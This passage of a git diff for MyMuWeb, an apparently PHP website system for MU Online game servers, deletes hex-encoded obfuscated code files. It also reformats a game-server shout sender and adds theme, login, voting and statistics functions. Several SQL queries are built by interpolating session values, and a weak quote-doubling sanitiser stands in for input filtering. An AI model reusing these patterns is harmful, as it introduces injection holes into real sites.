27564627F626B38707034323A307F647B38707032333A3476656C6B34656879666A3E6F696479637F607B3333333A3875646E696D2A722D356C697473702D022567616D69475D4D477F6863722D3469602679646C3D0E356C6974737F2C3D0D7B30302870713D202870713D2020302A3E696762716D6B70276D69602E3021602E30247875645567616D69475D4D477F686373202567616D69475D4D477F6863732D0D7B303036432A327F6C6F636B356E696C6275646E657A3E6F696471627F6365646D247875647B702275667F686A3160247875645567616D69475D4D477F686373202567616D69475D4D477F6863732D0D7B364030332A327F6C6F636B356E696C6275646E657A3E6F696471627F6365646D247875647B702160247875645567616D69475D4D477F686373202567616D69475D4D477F6863732D0E356C6974737C3D0E3D2D202E616C66616650297260203E23302275646E65507F6050226567557D497D402D2D212C3[/mmw] \ No newline at end of file diff --git a/includes/popunder.mmw b/includes/popunder.mmw deleted file mode 100644 index 49d9ffe..0000000 --- a/includes/popunder.mmw +++ /dev/null @@ -1,5 +0,0 @@ -MyMuWeb File By Vaflan compile v1.00329 -======================================= - - -[mmw]e3470796273637f2c3b3922302f20286474696754756376666f6e2922247875647d207f60722824694972447e656d656c654475676e247e656d65736f6468202d2022302f2028647469677e2e6565627363702d302476656c6e256c6974737e29222567616d69677d6d677f6863722824694972447e656d656c654475676e247e656d65736f646e3470796273637c3ade3679646f2c3ade356c6261647f2c3ade32747f2c3020202ade34647f2c3020202020202ade356c6261647f2c3ade32747f2c3020202ade34647f2c3020202020202ade3f3add7b37212478747e2275646e65707f6070256471656273602c256371656c6057202f6863656b7025637c656add7b39272478747e2275646e65707f6077282564657c636e696b702929272478747e2275646e65707f607728256c69666f53796826696adf3c3ade32247875647d207f60722d346960222275647e6563622d3e67696c616024647c3020202020202ade32747c3020202ade322b303030303030332024696c6f6370287071302a327564627f62602b36464646464643202a346e657f62776b636162622d356c697473702220322d376e69646461607c6c6563602220322d376e69636160737c6c6563602225203031322d386474696770256c6261647c3ade322b303830383038332024696c6f6370287071302a327564627f62622d356c6974737022207f64722d3e67696c61667024647c3020202020202ade32747c3020202ade32747f2c3020202ade34647f2c3020202020202ade356c6261647f2c3e32747f2c302ade34647f2c3e316f2c3e322431322d38647769656860222631322d3864746967702220322d327564627f626022276e607e25637f6c636d207f607f237567616d69622d33627370276d696c3e32277f646e69675025637f6c63422d356c647964702225637c6166602e6275747562702b3928287f6265646968622d3b63696c634e6f60222f2f2a3470796273637166716a622d3665627860216c3e322b387072302a3d6f64747f626d276e6964646160702b387072302a34786769627d276e6964646160702b387072302a307f647d276e6964646160722d356c6974737022207f64722d3e67696c616670222478676962722d3e67696c6160222831322d38647469677024647c30202ade34647f2c3e316f2c3275646e655d207f6050226567557d497d4e32256c6479647d207f60722d3373716c6360222b6e616c626f522d34756762716470222f25727e226567757d697d6f2f2a30747478622d3665627860216c3e322476656c622d3e67696c616022276e607e2f676f6c6d207f607f237567616d69622d33627370276d696c3e32203d38636479677377616274622d34757f6563757f6d4e6f6022292567616d69677d6d677f686378237e607f62746f576162746924337e6826696b313d38636479677377616274622d3275667f6563757f6d4e6f602229247e6566756827616274656a796c616964796e69622d3e677f646563757f6d4e6f6022207f64722d3e67696c6166702222716267616274622d34696024647c30202ade32747c3e322b39276e607e20757d207f607f237567616d69682c62757a346e657f62776b636162622d356c697473702220322d376e69646461607c6c6563602220322d376e69636160737c6c6563602225203031322d386474696770256c6261647c302ade32207f64722d3e67696c61667024647c3020202020202ade32747c3020202ade322b303830383038332024696c6f6370287071302a3d6f64747f626d227564627f62602b303830383038332024696c6f63702870713a34786769627d227564627f62602b364646464646432024696c6f6370287071302a3476656c6d227564627f62602b364646464646432024696c6f6370287071302a307f647d227564627f62602b38334034443443202a346e657f62776b636162622d356c697473702220322d376e69646461607c6c6563602222322d376e69636160737c6c656360222275647e6563622d3e67696c6160256c6261647c3ad02e322b303430343034332024696c6f63702870713a3d6f64747f626d227564627f62602b303430343034332024696c6f63702870713a34786769627d227564627f62602b383340344434432024696c6f63702870713a3476656c6d227564627f62602b383340344434432024696c6f63702870713a307f647d227564627f62602b3870703432302a307f64702b3870703233302a3476656c602b3465687966602a3e6f696479637f60722d356c69747370222567616d69677d6d677f6863722d3469602679646c3ade3470796273637f2c3e616c6661667f59726f5470796273637f2f2e32237a6e287f6265647f667f23747079627363722d33627370222470796273637166716a6f24787564722d35607974702470796273637c3ade356c6974737f2c3add7b316d6f686164502a397c696d61666d247e6f66602b347078302a356a79637d247e6f66602b30303030364643202a327f6c6f63602b356e696c6275646e65702a3e6f696471627f6365646d247875647b702275667f686a3160247875647d207f60732add7b316d6f686164502a397c696d61666d247e6f66602b347078302a356a79637d247e6f66602b36464030303033202a327f6c6f63602b356e696c6275646e65702a3e6f696471627f6365646d247875647b702160247875647d207f60732add7b316d6f686164502a397c696d61666d247e6f66602b347078302a356a79637d247e6f66602b30303030303033202a327f6c6f636b70247875647d207f60732add7b356e6f6e602a3e6f696471627f6365646d24787564702b387072302a3476656c6d276e6964646160702b346c6f62602a3478676965677d247e6f66602b316d6f686164502a397c696d61666d247e6f66602b36464646464643202a327f6c6f63602b347078302a356a79637d247e6f666b702275667f686a356c6479647d207f607e216c256c6479647d207f607e216add7b387072302a3476656c6d276e6964646160702b387072302a307f647d276e6964646160702b35667f6d602a327f637275736b7022716267616274632ade322373736f24787564722d3560797470256c6974737c3[/mmw] \ No newline at end of file diff --git a/includes/popunder.php b/includes/popunder.php deleted file mode 100644 index e87142e..0000000 --- a/includes/popunder.php +++ /dev/null @@ -1,35 +0,0 @@ - - -
- - - - - - - -
- - - -
MyMuWeb Pop-Under
-
- - - - -
- -
-
-
- \ No newline at end of file diff --git a/includes/server_file.mmw b/includes/server_file.mmw deleted file mode 100644 index 45644c8..0000000 --- a/includes/server_file.mmw +++ /dev/null @@ -1,4 +0,0 @@ -MyMuWeb File By Vaflan compile v1.00905 -======================================= - -[mmw]E3F302D702D7B32246E656F5569646420212974707D6560256C6966602563716261647164642024727164737F5569646422202F6863656B7025637C65602D702B3D50757F6277642B5D59727F6765647163642B5D5563716261647164642B5D556C69666F5275667275637B5E4F49435355435F54202E6275747562702D702D702D7B3B2B2D657E6F556C696867742B7025637C65602D7B372037202D302D657E6F5264642B702925657274702D3D3029727F67656471636F546E6564282669602D702D702B392274737F5264642C29292729303728236564687568682278636825646F6C607875602D302D5274737F52646F5B63656863642B5D59727F6765647163642B5D5563716261647164642B5D556C69666F5275667275637B5E4F49435355435F54202D7B39213C2274737F52646428227473726573702D302274737F5264642B702929292720323728236564687568682278636D3D39213C203C2274737F52646428227473726573782669602D7B39213C2274737F52646428227473726573702D302274737F5264642B702929292729303728236564687568682278636D3D39213C203C2274737F52646428227473726573782669602B392274737F5264642C272134272C222F2D7C223B79237C582F22282563616C6075627F57656270702D302274737F526464202B70292D657E6F556C696867742D3129727F67656471636F54727164737428266965637C65602D7B35657274702D3029727F67656471636F546E65642B7029272E65672D3D3274737F52646F5B6365686364282669602B70292929727F67656471636F547271647374282475637379682669602D7B3D657E6F556C69686774202D3029727F67656471636F5472716473742B7029263C392274737F526464282E656C6274737026262029727F6765647163642D3D3274737F52646F5B6365686364282669602B392274737F52646F5B63656863642C27272C2929272032372823656468756868227863682563616C6075627F527473702D302274737F52646F5B6365686364202B392274737F52646F5B63656863642C27272C2929272440372823656468756868227863682563616C6075627F527473702D302274737F52646F5B6365686364202B392274737F52646F5B63656863642C27272C2929272930372823656468756868227863682563616C6075627F527473702D302274737F52646F5B6365686364202B39223C203C2274737F52646428227473726573702D302274737F52646F5B6365686364202B3D5D657E6F556C696867742B556371626F526464202D302274737F526464202B70292D657E6F526464202C302D657E6F556C6968677428256C696867702B39256371626F52646428247E657F63602D302D657E6F526464202B3925637162616471646428256C6966602D30256371626F526464202B372037202D302D657E6F556C69686774202B7029292D50757F6277642B5D59727F6765647163642B5D5563716261647164642B5D556C69666F5275667275637B5E4F49435355435F54282974707D65682669602B702920302E302925637162616471646428256A7963756C696660482669602B702920757F6277642C29727F6765647163642C25637162616471646428256C69666F527566727563702E6F6964736E6576602058405F3C3[/mmw] diff --git a/includes/shout_msg.php b/includes/shout_msg.php index afe209a..6927dbd 100644 --- a/includes/shout_msg.php +++ b/includes/shout_msg.php @@ -5,73 +5,68 @@ // Made by: Sandbird // //////////////////////////////////////////////////////////////////////////// -function ascii2hex($ascii) { +function ascii2hex($ascii) +{ $hex = ''; for ($i = 0; $i < strlen($ascii); $i++) { $byte = strtoupper(dechex(ord($ascii{$i}))); - $byte = str_repeat('0', 2 - strlen($byte)).$byte; - $hex.=$byte." "; - } - $hex=str_replace(" ", "", $hex); - return $hex; + $byte = str_repeat('0', 2 - strlen($byte)) . $byte; + $hex .= $byte; // . ' '; + } + return $hex; } -function hex2ascii($hex){ - $ascii=''; - $hex=str_replace(" ", "", $hex); - for($i=0; $i= $y / 2) ? - (($x - ($x % $y)) / $y) + 1 : ($x - ($x % $y)) / $y; + if ($x == 0) return 0; + if ($y == 0) { + error_log('int_int_divide: ' . $x . ', ' . $y); + return false; + } + return ($x % $y >= $y / 2) + ? (($x - ($x % $y)) / $y) + 1 + : ($x - ($x % $y)) / $y; } function send_gm_msg($host, $port, $msg) -{ - $header = "C144A10024000000"; // Starting header of the message - $msglength = strlen($msg); // Length of message +{ + $header = 'C144A10024000000'; // Starting header of the message + $msgLength = strlen($msg); // Length of message + + if ($msgLength < 34 && $msgLength != 0) { // Starting calculations to divide the message box so the message looks centerd + $divisor = (34 - $msgLength); + $start_space = int_int_divide($divisor, 2); -if ($msglength < 34 && $msglength != 0){ // Starting calculations to divide the message box so the message looks centerd - $divisor = (34 - $msglength); - $start_space = int_int_divide($divisor , 2); - - for ($i=0;$i<=$start_space;$i++){ - $header .= "20"; - } - $header .= ascii2hex($msg); // Insert the message in the packet - - for ($j=0;$j<=($divisor-$start_space);$j++){ - $header .= "20"; - } -}else{ // If the message is longer that 64 chars no need for spaces + $header .= str_repeat('20', $start_space + 1); + $header .= ascii2hex($msg); // Insert the message in the packet + $header .= str_repeat('20', ($divisor - $start_space) + 1); + } else { // If the message is longer than 64 chars no need for spaces $header .= ascii2hex($msg); // Insert the message in the packet if msg > 34 - } + } + + $header .= '00BED3410000F8BBB90400000000FCBBB904A4FF1A06F8F04100FFFFFFFF'; // Remainding header + $packet = hex2ascii($header); // Convert the whole string to ascii + $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - $header .= "00BED3410000F8BBB90400000000FCBBB904A4FF1A06F8F04100FFFFFFFF"; // Remainding header - $packet = hex2ascii($header); // Convert the whole string to ascii - $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - - if (!$x = @socket_connect($socket, $host, $port)) // attempt to connect - { - echo "No access to the Joinserver or Server is down."; - } - else - { - socket_write($socket, $packet , strlen($packet)); // Send the packet to the Joinserver - socket_close($socket); // Close connection (i dont know if this is needed or not). - } -return "yes"; + if (!@socket_connect($socket, $host, $port)) // attempt to connect + { + echo 'No access to the JoinServer or service is down.'; + } else { + socket_write($socket, $packet, strlen($packet)); // Send the packet to the JoinServer + socket_close($socket); // Close connection (I don't know if this is needed or not). + } + return true; } -// If you want to post the message from another page then remove the // from the line below -// and add them on the other line. If you dont know how to do that then if your page is -// located for example at http://website.com/shout.php -// just write this at the header: http://website.com/shout.php?msg=And put your msg here. -// send_msg("127.0.0.1", "55970", $msg); -?> \ No newline at end of file +// send_msg('127.0.0.1', '55970', $msg); diff --git a/includes/sql_check.php b/includes/sql_check.php index 8a5db41..89d0c7e 100644 --- a/includes/sql_check.php +++ b/includes/sql_check.php @@ -1,116 +1,57 @@ -SQL Injection Detected - Make sure only to use letters and numbers!\n
\nIP: ".$_SERVER['REMOTE_ADDR'].""); - } - else - { - $check = preg_split("//", $value, -1, PREG_SPLIT_OFFSET_CAPTURE); - foreach($check as $char) - { - if(in_array($char, $badchars)) - { - die("SQL Injection Detected - Make sure only to use letters and numbers!\n
\nIP: ".$_SERVER['REMOTE_ADDR']."
"); - } - } - } - } - } -function clean_variable($var) { - $newvar = preg_replace('/[^a-zA-Z0-9\_\-]/', '', $var); - return $newvar; + $value) { + $str[$id] = secure($value); + } + } else { + $str = xw_sanitycheck($str); + } + + return $str; } - - - - - -// Onter Anti-SQL Injection from MuWeb.org - -function xw_sanitycheck($str){ - if(strpos(str_replace("''","","$str"),"'")!=false) - return str_replace("'", "''",$str); - else - return $str; -} - -function secure($str){ - // Case of an array - if (is_array($str)) { - foreach($str AS $id => $value) { - $str[$id] = secure($value); - } - } - else - $str = xw_sanitycheck($str); - - return $str; -} - // Get Filter -$xweb_AI = array_keys($_GET); -$i=0; -while($i \ No newline at end of file diff --git a/includes/theme.mmw b/includes/theme.mmw deleted file mode 100644 index 082b18b..0000000 --- a/includes/theme.mmw +++ /dev/null @@ -1,4 +0,0 @@ -MyMuWeb File By Vaflan compile v1.00905 -======================================= - -[mmw]E3F302D702B3C627574202E6275747562702D7B32236273742F237567616D6962202D302C6275742B7025637C65602D7B32236273742F2D576D696F556D6568647B577D6D6422202D302C6275742B70292922236273742F2D576D696F556D6568647B577D6D642228256C69666F5379682669602B377D6D64202C61626F6C67602B70292362737428276D696F547C6571666564602E6F6964736E6576602D702D702B322E3D627F666F2C3E3473656C65637F2C30256D6568647F5473656C656374202D627F666F556D6568647422202F686365602B322E37222E256D6568647F576E616C6F577D6D6E22272D356C64796470272B392824796D6265737E256D6568647E247E656D65736F64672D35676E6168634E6F6027256D6568647F547563772D356D616E602473656C65637C3E37272D3E6F69647361602724737F60772D346F6864756D6027256D656864772D356D616E602D627F666C32202D302D627F666F556D65686474202D702B322E3E6F6964707F6F2C322E2D513B5D59642B556D656864742E222E3473656C6563742027222E2D503B5D59642B556D656864742E22272D35657C6166702E6F6964707F6C32202D3E20256D6568647F5473656C656374202D7B32222D3473656C6563742B75637C65602D7B3224656473656C6563722D3473656C6563742B792D503B5D59642B556D656864742D3D3D556D6568647B5E4F49435355435F54282669602B702929642B2B202B39256D6568647428247E657F63602C302964202B303D396428227F66602B39222078607E256D6568647F237564657C636E6962282564657C636E69602B7025637C65602D702B322E3D627F666F2C3E3473656C65637F2C30256D6568647F5473656C656374202D627F666F556D6568647422202F686365602B322E37222E256D6568647F576E616C6F577D6D6E22272D356C64796470272B392824796D6265737E256D6568647E247E656D65736F64672D35676E6168634E6F6027256D6568647F547563772D356D616E602473656C65637C3E37272D3E6F69647361602724737F60772D346F6864756D6027256D656864772D356D616E602D627F666C32202D302D627F666F556D65686474202D702B392864642822796465637F6C63602B39222078607E2F666E696F2D556D6568647B577D6D642279646422282564657C636E69602D702D702B322E3E6F6964707F6F2C3D556D616E6F5D68647B577D6D642E3473656C6563742027256C696664272D35657C6166702E6F6964707F6C32202D3E20256D6568647F5473656C656374202D7B32222D3473656C6563742B75637C65602D7B3224656473656C6563722D3473656C6563742B79256C6966642D3D3D556D6568647B5E4F49435355435F54282669602B39222078607E2F666E696F256C6966642279646422282564657C636E69602B7029272E2E27202D3120256C69666420262620272E27202D3120256C696664202626202722796467202D3D302560797474282669602B39256C6966642E227964642825607974756C6966602D302560797474202B702925637C6166602D3D312029292864642822796464616562702D30256C696664282820256C696867702B70292922796464282279646E65607F602D30286464282669602B322F23756D65686472202D3022796464202B7029272F64757167202D3D302D5473796C6F53756D6568647B577D6D64282669602B377D6D64202C61626F6C67602B702928256D656864702E6F6964736E6576602D702B3922246E656F5569646F5C61737420247C657375627F556D656864742024727164737F5569646F5C6173742228256964602B322E396F2C3D5E6F6964707962736375646F5D68647B577D6D642E396C32202D3E20247C657375627F556D65686474202B322E32726C3D556471646F5D68647B577D6D64202A3564716442202D3E20247C657375627F556D65686474202B322E32726C3D5E6F69637275667F5D68647B577D6D64202A3E6F696372756652202D3E20247C657375627F556D65686474202B322E32726C3D527F64716562736F5D68647B577D6D64202A327F647165627342202D3E20247C657375627F556D65686474202B322E32726C3D556D616E6F5D68647B577D6D64202A356D616E40256D65686452202D30247C657375627F556D65686474202B702927256D656864772D3D3D507F6B5455474F54282669602D702B3922246E656F5569646F5C61737420247C657375627F5972642024727164737F5569646F5C6173742228256964602D702B322E326F2C312C6566756C60227F6471627473796E696D64614025667168402D5363616B5455474F5420277F6E4E326C32202D3E20247C657375627F597264202B392227263636372D312375747164737F577D6D60244E4140272D5363616B5455474F54272D34696F5F5F526D656D60254255484750272031372D3375747164737F577D6D60245543502F464E494F524D454D40254451444055522829727565717F5C6173737D602B3922272031372D3375747164737F577D6D60244E4140272D5363616B5455474F54272D34696F5F5F526D656D6025425548475027263636372D3375747164737F577D6D60245543502F464E494F524D454D40254451444055522829727565717F5C6173737D602B7029272169353830336035356336303466383635323262393261693663673360333264372D3D392D57707B5455474F542825346D60262620292D5363616B5455474F54282475637379682669602B322E32726C3E316F2C35725E226567557D497D4E2777777E372F25727E226567757D697D6E2777777F2F2A30747478672D3665627860216C302A3567616050256D6F6842202D3E20247C657375627F597264202B322E32726C322E292D54656C6C6164737E696B577D6D642C22237A396A3840295E2D6E246228256471646E22202A34656C6C6164737E6942202D3E20247C657375627F597264202B322E32726C3E616C666166502972402D5E6F69637275667B577D6D6420226567557D497D42202D30247C657375627F597264202B39272078607E24656C6C6164737E696F237564657C636E6967282564657C636E69602B7029272972672D3D3D507F6B5455474F54282669602D702B3922246E656F5569646F5C61737420212E326F2C3F23756D6568647E326C302E69602E326F2C3078607E2F666E696F2D556D6568647B577D6D642E326C30246E696660247E61634E32726C31256D65686450225F6272754024727164737F5569646F5C6173742228256964602B392D556D6568647B5E4F49435355435F54282475637E65702B7025637C65602D702B32276D696F2D556D6568647B577D6D642F23756D65686472202D302D576D696F556D6568647B577D6D64202B322D556D6568647B577D6D642F23756D65686472202D302D5279646F556D6568647B577D6D64202B702929222078607E2F666E696F2D556D6568647B577D6D642F23756D6568647228256C69666F5379682669602058405F3C3[/mmw] diff --git a/includes/theme.php b/includes/theme.php deleted file mode 100644 index 883757d..0000000 --- a/includes/theme.php +++ /dev/null @@ -1,14 +0,0 @@ - \ No newline at end of file diff --git a/includes/theme_functions.php b/includes/theme_functions.php new file mode 100644 index 0000000..1d68339 --- /dev/null +++ b/includes/theme_functions.php @@ -0,0 +1,607 @@ +' . $name . ''; + } + } + closedir($dh); + } + + echo << + + +HTML; +} +/////// End Language /////// + + +/////// Start Theme /////// +function theme() +{ + global $mmw; + $theme = mmw_lang_theme; + $themeList = ''; + if ($mmw['themes_auto']) { + $dir = 'themes/'; + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + $type = filetype($dir . $file); + if ($type === 'dir' && $file !== '.' && $file !== '..') { + include $dir . $file . '/info.php'; + $selected = ($mmw['theme'] === $file) + ? ' selected' + : ''; + $themeList .= ''; + } + } + require $dir . $mmw['theme'] . '/info.php'; + closedir($dh); + } + } else { + foreach ($mmw['themes'] as $row) { + $selected = ($mmw['theme'] === $row[0]) + ? ' selected' + : ''; + $themeList .= ''; + } + } + echo << + + +HTML; +} +/////// End Theme /////// + + +/////// Start Menu ////// +function menu($style = null) +{ + global $mmw; + require __DIR__ . '/menu.php'; + if (empty($style)) { + $style = '$2
'; + } + + foreach ($mmw['menu'] as $i => $row) { + $replace = str_replace( + array('%id%', '%name%', '%url%'), + array($i, $row[0], $row[1]), + $style + ); + echo preg_replace( + '/\[url=(.*)]\[name=(.*)]/is', + $replace, + '[url=' . $row[1] . '][name=' . $row[0] . ']' + ) . PHP_EOL; + } +} +/////// End Menu /////// + + +/////// Start Login Form /////// +function login_form() +{ + global $mmw, $rowbr; + if (isset($_SESSION['user'])) { + /* Select Char */ + $characterQuery = mssql_query("SELECT name FROM dbo.Character WHERE AccountID='{$_SESSION['user']}'"); + $setCharacter = ''; + if (mssql_num_rows($characterQuery)) { + $setCharacter = '
'; + } + + /* Mail Check */ + if ($mmw['inner_mail']) { + $msg = mssql_query("SELECT + fmail.bRead + FROM dbo.T_FriendMain AS fmain + JOIN dbo.T_FriendMail AS fmail ON fmail.GUID = fmain.GUID + WHERE fmain.Name='{$_SESSION['character']}'"); + $msg_num = mssql_num_rows($msg); + $msg_new_num = 0; + if (!empty($msg_num)) { + while ($msg_row = mssql_fetch_row($msg)) { + if (empty($msg_row[0])) { + $msg_new_num++; + } + } + } + $msg_full = ($mmw['private_message']['num'] <= $msg_num) + ? 'Full!' + : ''; + } + + /* End Form */ + require __DIR__ . '/acc_menu.php'; + if ($msg_new_num > 0) { + echo ''; + } + } else { + /* No Login */ + $language = array( + 'account' => mmw_lang_account, + 'password' => mmw_lang_password, + 'lost_pass' => mmw_lang_lost_pass, + 'login' => mmw_lang_login, + ); + + echo << + + {$language['account']}
+
+ {$language['password']}
+
+ {$language['lost_pass']} + +HTML; + } +} +/////// End Login Form /////// + + +/////// Start Online Char /////// +function who_online($return = false) +{ + global $mmw; + $timeout = time() - $mmw['timeout_online']; + $query = mssql_query("SELECT + c.name, + c.CtlCode + FROM dbo.MMW_online AS o + LEFT JOIN dbo.Character AS c ON c.name COLLATE DATABASE_DEFAULT = o.online_char COLLATE DATABASE_DEFAULT + WHERE o.online_date > '{$timeout}'"); + + $guestsCount = 0; + $characterList = array(); + $totalOnWeb = mssql_num_rows($query); + if ($totalOnWeb) { + while ($row = mssql_fetch_row($query)) { + if (empty($row[0])) { + $guestsCount++; + } else { + $characterList[] = '' . $row[0] . ''; + } + } + } else { + $characterList[] = mmw_lang_there_is_nobody; + } + $whoOnline = mmw_lang_total_on_web . ': ' . $totalOnWeb + . '
' . mmw_lang_total_guest . ': ' . $guestsCount + . '
' . mmw_lang_total_accounts . ': ' . count($characterList) + . '
' . implode(', ', $characterList); + + if (empty($return)) { + echo $whoOnline; + } + return $whoOnline; +} + +/** @deprecated Support 0.7 */ +$who_online = who_online(true); +/////// END Online Char /////// + + +/////// Start Last in Forum /////// +function last_in_forum($top = null) +{ + global $mmw; + if (empty($top)) { + $top = $mmw['last_in_forum']; + } + $style = '$4. $2
'; + $result = mssql_query("SELECT TOP {$top} f_id,f_title,f_text FROM dbo.MMW_forum ORDER BY f_date DESC"); + $forum_post = mssql_num_rows($result); + if (empty($forum_post)) { + echo mmw_lang_no_topics_in_forum; + } else { + $index = 1; + while ($row = mssql_fetch_row($result)) { + $row[2] = htmlentities(bbcode($row[2])); + $text = '[url=?forum=' . $row[0] . '][title=' . $row[1] . '][alt=' . $row[2] . '][numb=' . $index . ']'; + echo preg_replace('/\[url=(.*?)]\[title=(.*?)]\[alt=(.*?)]\[numb=(.*?)]/is', $style, $text) . PHP_EOL; + $index++; + } + } +} +/////// END Last in Forum /////// + + +/////// Start Voting /////// +function voting($return = false) +{ + global $mmw; + $votingIndicator = ($mmw['votes_check'] === 'acc') + ? $_SESSION['user'] + : $_SERVER['REMOTE_ADDR']; + + $query = mssql_query("SELECT TOP 1 ID,question,answer1,answer2,answer3,answer4,answer5,answer6 FROM dbo.MMW_votemain ORDER BY NEWID()"); + if ($row = mssql_fetch_row($query)) { + $voteList = array(1 => 0, 2 => 0, 3 => 0, 4 => 0, 5 => 0, 6 => 0); + $alreadyVoted = 0; + $queryRows = mssql_query("SELECT who, answer FROM dbo.MMW_voterow WHERE id_vote='{$row[0]}'"); + $totalNumberVotes = mssql_num_rows($queryRows); + while ($answerRow = mssql_fetch_row($queryRows)) { + if ($answerRow[0] === $votingIndicator) { + $alreadyVoted = $answerRow[1]; + } + $voteList[$answerRow[1]]++; + } + + $voting = '
' . $row[1] . '
'; + for ($index = 1; $index < 7; $index++) { + $answerLabel = $row[$index + 1]; + if (!empty($answerLabel)) { + if (!empty($votingIndicator) && empty($alreadyVoted)) { + $voting .= '
'; + } else { + $voteCount = $voteList[$index]; + $img_file = default_img('bar.jpg'); + $size = @getimagesize($img_file); + $img_width = ($voteCount > 0) ? ceil(100 * $voteCount / $totalNumberVotes) : 1; + $voting .= '
' . $index . '. ' . $answerLabel . ' (' . $voteCount . ')
'; + $voting .= '
bar
'; + } + } + } + + $voting .= '
'; + if (!empty($votingIndicator) && empty($alreadyVoted)) { + $voting .= ''; + } else { + $voting .= mmw_lang_all_answers . ': ' . $totalNumberVotes . ''; + } + $voting .= '
'; + } else { + $voting = mmw_lang_no_vote; + } + + if (empty($return)) { + echo $voting; + } + return $voting; +} + +/** @deprecated Support 0.7 */ +$voting = voting(true); +/////// END Voting /////// + + +/////// Start Statisitcs /////// +function statisitcs($style = 'default') +{ + global $mmw, $back_color, $text_color; + + if ($style === 'cscw') { + $dataCSCW = mssql_fetch_assoc( + mssql_query("SELECT CASTLE_OCCUPY, OWNER_GUILD, CRYWOLF_OCCUFY FROM dbo.MuCastle_DATA, dbo.MuCrywolf_DATA") + ); + + $dataCSCW['CASTLE_OCCUPY'] = empty($dataCSCW['CASTLE_OCCUPY']) + ? 'Not captured' + : 'Captured'; + + $dataCSCW['OWNER_GUILD'] = empty($dataCSCW['OWNER_GUILD']) + ? 'No Guild' + : '' . $dataCSCW['OWNER_GUILD'] . ''; + + $dataCSCW['CRYWOLF_OCCUFY'] = empty($dataCSCW['CASTLE_OCCUPY']) + ? 'Captured' + : 'Protected'; + + echo 'Castle Siege: ' . $dataCSCW['CASTLE_OCCUPY'] . '
' . PHP_EOL + . 'Owner Guild: ' . $dataCSCW['OWNER_GUILD'] . '
' . PHP_EOL + . 'Cry Wolf: ' . $dataCSCW['CRYWOLF_OCCUFY']. '
' . PHP_EOL; + return true; + } + + $withoutGM = !empty($mmw['gm_show']) + ? ' WHERE CtlCode < 8' + : ''; + + $activeDate = date('m/d/Y', strtotime('-1 month')); + $query = mssql_query("SELECT + count(*) AS total, + (SELECT count(*) AS total FROM dbo.MEMB_INFO WHERE bloc_code=1) AS total_blocked, + (SELECT count(*) FROM dbo.Character {$withoutGM}) AS total_characters, + (SELECT count(*) FROM dbo.Guild WHERE G_Name!='{$mmw['gm_guild']}') AS total_guilds, + (SELECT count(*) FROM dbo.MEMB_STAT WHERE ConnectTM>='{$activeDate}') AS account_active, + (SELECT count(*) FROM dbo.MEMB_STAT WHERE ConnectStat=1) AS account_online + FROM dbo.MEMB_INFO"); + $data = mssql_fetch_assoc($query); + + $total_accounts = $data['total']; + $total_banneds = $data['total_blocked']; + $total_characters = $data['total_characters']; + $total_guilds = $data['total_guilds']; + $actives_acc = $data['account_active']; + $users_connected = $data['account_online']; + + $serverQuery = mssql_query("SELECT + mmw_s.Name, + mmw_s.experience, + mmw_s.drops, + mmw_s.gsport, + mmw_s.ip, + mmw_s.version, + mmw_s.type, + mmw_s.maxplayer, + ms.total_online + FROM dbo.MMW_servers AS mmw_s + LEFT JOIN (SELECT ServerName, count(ServerName) AS total_online FROM dbo.MEMB_STAT WHERE ConnectStat=1 GROUP BY ServerName) AS ms ON ms.ServerName = mmw_s.Name + ORDER BY mmw_s.display_order"); + $server = array(); + if (empty($_ENV['mmw_cache']['server_cache']) || $_ENV['mmw_cache']['server_cache']['timeout'] + $mmw['server_timeout'] < time()) { + $_ENV['mmw_cache']['server_cache'] = array(); + } + while ($row = mssql_fetch_assoc($serverQuery)) { + if (!$row['total_online']) { + $row['total_online'] = 0; + } + $serverAddress = $row['ip'] . ':' . $row['gsport']; + if (!isset($_ENV['mmw_cache']['server_cache'][$serverAddress])) { + $_ENV['mmw_cache']['server_cache'][$serverAddress] = false; + $_ENV['mmw_cache']['server_cache']['timeout'] = time(); + if ($check = @fsockopen($row['ip'], $row['gsport'], $errorCode, $errorMessage, 0.5)) { + $_ENV['mmw_cache']['server_cache'][$serverAddress] = true; + fclose($check); + } + } + $status = $_ENV['mmw_cache']['server_cache'][$serverAddress]; + + $row['html_status'] = 'status ' + . '' . ($status ? mmw_lang_serv_online : mmw_lang_serv_offline) . ''; + + $server[] = $row; + } + + switch ($style) { + case 'main': + $labels = array( + 'on_server' => mmw_lang_on_server, + 'version' => mmw_lang_version, + 'experience' => mmw_lang_experience, + 'drops' => mmw_lang_drops, + ); + + echo ''; + foreach ($server as $index => $row) { + $bar = ceil($row['total_online'] * 10 / $row['maxplayer']); + echo << +
{$row['Name']} ({$row['type']})
+
+
{$labels['on_server']}:{$row['total_online']}
{$labels['version']}:{$row['version']}
{$labels['experience']}:{$row['experience']}
{$labels['drops']}:{$row['drops']}
+
+HTML; + } + return true; + case 'blink': + case 'fullblink': + if ($style === 'fullblink') { + echo ''; + } + $data = array( + mmw_lang_total_accounts . ': ' . $total_accounts . '
' + . mmw_lang_total_characters . ': ' . $total_characters . '
' + . mmw_lang_total_banneds . ': ' . $total_banneds . '
' + . mmw_lang_total_actives . ': ' . $actives_acc . '
' + . mmw_lang_total_guilds . ': ' . $total_guilds . '
' + . mmw_lang_total_users_online . ': ' . $users_connected + ); + foreach ($server as $row) { + $data[] = $row['Name'] . '
' + . mmw_lang_version . ': ' . $row['version'] . '
' + . mmw_lang_experience . ': ' . $row['experience'] . '
' + . mmw_lang_drops . ': ' . $row['drops'] . '
' + . mmw_lang_type . ': ' . $row['type'] . '
' + . $row['html_status']; + } + + $_ENV['fader'] = $_ENV['fader'] ? ++$_ENV['fader'] : 1; + $json = json_encode($data); + echo << + +HTML; + return true; + case 'default': + foreach ($server as $row) { + $helpLink = mmw_lang_version . ': ' . $row['version'] . '
' + . mmw_lang_experience . ': ' . $row['experience'] . '
' + . mmw_lang_drops . ': ' . $row['drops'] . '
' + . mmw_lang_type . ': ' . $row['type']; + + echo '' . $row['Name'] . ': ' . $row['html_status'] . '
' + . mmw_lang_on_server . ' ' . $row['total_online'] . ' ' . mmw_lang_char . '
'; + } + echo PHP_EOL . mmw_lang_total_users_online . ': ' . $users_connected . '
' + . mmw_lang_total_accounts . ': ' . $total_accounts . '
' + . mmw_lang_total_characters . ': ' . $total_characters . '
' + . mmw_lang_total_banneds . ': ' . $total_banneds . '
' + . mmw_lang_total_actives . ': ' . $actives_acc . '
